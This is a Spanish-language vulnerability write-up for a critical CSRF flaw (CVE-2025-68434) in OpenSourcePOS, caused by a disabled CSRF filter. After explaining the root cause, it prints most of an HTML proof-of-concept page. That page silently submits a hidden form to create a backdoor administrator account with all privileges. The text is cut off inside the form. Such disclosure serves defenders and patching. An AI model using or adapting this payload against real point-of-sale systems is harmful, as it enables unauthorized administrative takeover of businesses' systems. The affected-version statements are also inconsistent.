
PoC y Write-up para CVE-2025-68434: CSRF crítico en OpenSourcePOS. Explota una configuración de filtro deshabilitada para permitir que atacantes no autenticados creen silenciosamente cuentas de Administrador fraudulentas, lo que conduce a la toma total del sistema. Validado en versiones < 3.4.0.
| Metadatos | Detalles |
|---|---|
| ID CVE | CVE-2025-68434 |
| Gravedad | Crítica (8.8) CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| Tipo de Vulnerabilidad | Cross-Site Request Forgery (CWE-352) |
| Versiones Afectadas | OpenSourcePOS v3.4.0, v3.4.1 |
| Versión Corregida | v3.4.2 |
| Componente Vulnerable | app/Config/Filters.php (Filtros de Seguridad Globales) |
| Investigador | Aditya Singh (Nixon-H) |
Se descubrió una vulnerabilidad Crítica de Cross-Site Request Forgery (CSRF) en la configuración de seguridad principal de OpenSourcePOS. El mecanismo global de protección CSRF de la aplicación estaba explícitamente deshabilitado dentro del archivo app/Config/Filters.php debido a un "TODO" temporal de desarrollo que nunca se resolvió.
Esta mala configuración permitía que la aplicación aceptara solicitudes HTTP que modifican el estado (POST) sin verificar un token anti-falsificación válido. Un atacante remoto no autenticado podía explotar esto engañando a un Administrador con sesión iniciada para que visitara una página maliciosa. La página del atacante forzaba silenciosamente que el navegador de la víctima ejecutara acciones administrativas; específicamente, crear una nueva cuenta de Administrador "Backdoor" con privilegios completos; lo que conducía a una toma de control total del sistema.
La vulnerabilidad se encontraba en la configuración de los Filtros Globales (app/Config/Filters.php). En CodeIgniter 4, el array $globals determina qué filtros se ejecutan en cada solicitud.
En las versiones afectadas, el filtro csrf estaba comentado en la lista de ejecución before, deshabilitando efectivamente la protección CSRF para toda la aplicación.
Código Vulnerable (app/Config/Filters.php):
public array $globals = [
'before' => [
'honeypot',
// 'csrf' => ['except' => 'login'], // TODO: Temporarily disable CSRF until we get everything sorted
'invalidchars',
],
// ...
];
Debido a que esta línea estaba comentada, el middleware responsable de verificar csrf_token_name nunca se ejecutaba. La aplicación aceptaba cualquier solicitud POST desde cualquier origen, confiando únicamente en la cookie de sesión (ospos_session) para la autenticación.
csrf_exploit.html en un servidor externo.valid_12345).POC/csrf_exploit.html)Este es el payload exacto utilizado para crear un Administrador rogue con permisos completos:
<!DOCTYPE html>
<html>
<head>
<title>OSPOS CSRF Exploit (Verified)</title>
<style>
body { font-family: sans-serif; text-align: center; padding: 50px; }
.status { color: green; font-weight: bold; }
</style>
</head>
<body>
<h2>OSPOS Privilege Escalation Exploit</h2>
<p>Creating Administrator account...</p>
<p id="msg" class="status">Initializing payload...</p>
<form action="http://localhost/index.php/employees/save/-1" method="POST" id="hackForm">
<input type="hidden" name="first_name" value="Valid">
<input type="hidden" name="last_name" value="User">
<input type="hidden" name="username" id="username" value="">
<input type="hidden" name="email" id="email" value="">
<input type="hidden" name="phone_number" value="">
<input type="hidden" name="password" value="Password123!">
<input type="hidden" name="repeat_password" value="Password123!">
<input type="hidden" name="gender" value="1">
<input type="hidden" name="language" value=":">
<input type="hidden" name="address_1" value="">
<input type="hidden" name="address_2" value="">
<input type="hidden" name="city" value="">
<input type="hidden" name="state" value="">
<input type="hidden" name="zip" value="">
<input type="hidden" name="country" value="">
<input type="hidden" name="comments" value="CSRF_PoC_Successful">
<input type="hidden" name="grant_home" value="home"> <input type="hidden" name="menu_group_home" value="both">
<input type="hidden" name="grant_customers" value="customers"> <input type="hidden" name="menu_group_customers" value="both">
<input type="hidden" name="grant_items" value="items"> <input type="hidden" name="menu_group_items" value="both">
<input type="hidden" name="grant_item_kits" value="item_kits"> <input type="hidden" name="menu_group_item_kits" value="both">
<input type="hidden" name="grant_suppliers" value="suppliers"> <input type="hidden" name="menu_group_suppliers" value="both">
<input type="hidden" name="grant_reports" value="reports"> <input type="hidden" name="menu_group_reports" value="both">
<input type="hidden" name="grant_receivings" value="receivings"> <input type="hidden" name="menu_group_receivings" value="both">
<input type="hidden" name="grant_sales" value="sales"> <input type="hidden" name="menu_group_sales" value="both">
<input type="hidden" name="grant_employees" value="employees"> <input type="hidden" name="menu_group_employees" value="both">
<input type="hidden" name="grant_giftcards" value="giftcards"> <input type="hidden" name="menu_group_giftcards" value="both">
<input type="hidden" name="grant_messages" value="messages"> <input type="hidden" name="menu_group_messages" value="both">
<input type="hidden" name="grant_taxes" value="taxes"> <input type="hidden" name="menu_group_taxes" value="both">
<input type="hidden" name="grant_attributes" value="attributes"> <input type="hidden" name="menu_group_attributes" value="both">
<input type="hidden" name="grant_expenses" value="expenses"> <input type="hidden" name="menu_group_expenses" value="both">
<input type="hidden" name="grant_expenses_categories" value="expenses_categories"> <input type="hidden" name="menu_group_expenses_categories" value="both">
<input type="hidden" name="grant_cashups" value="cashups"> <input type="hidden" name="menu_group_cashups" value="both">
<input type="hidden" name="grant_config" value="config"> <input type="hidden" name="menu_group_config" value="home">
<input type="hidden" name="grant_office" value="office"> <input type="hidden" name="menu_group_office" value="both">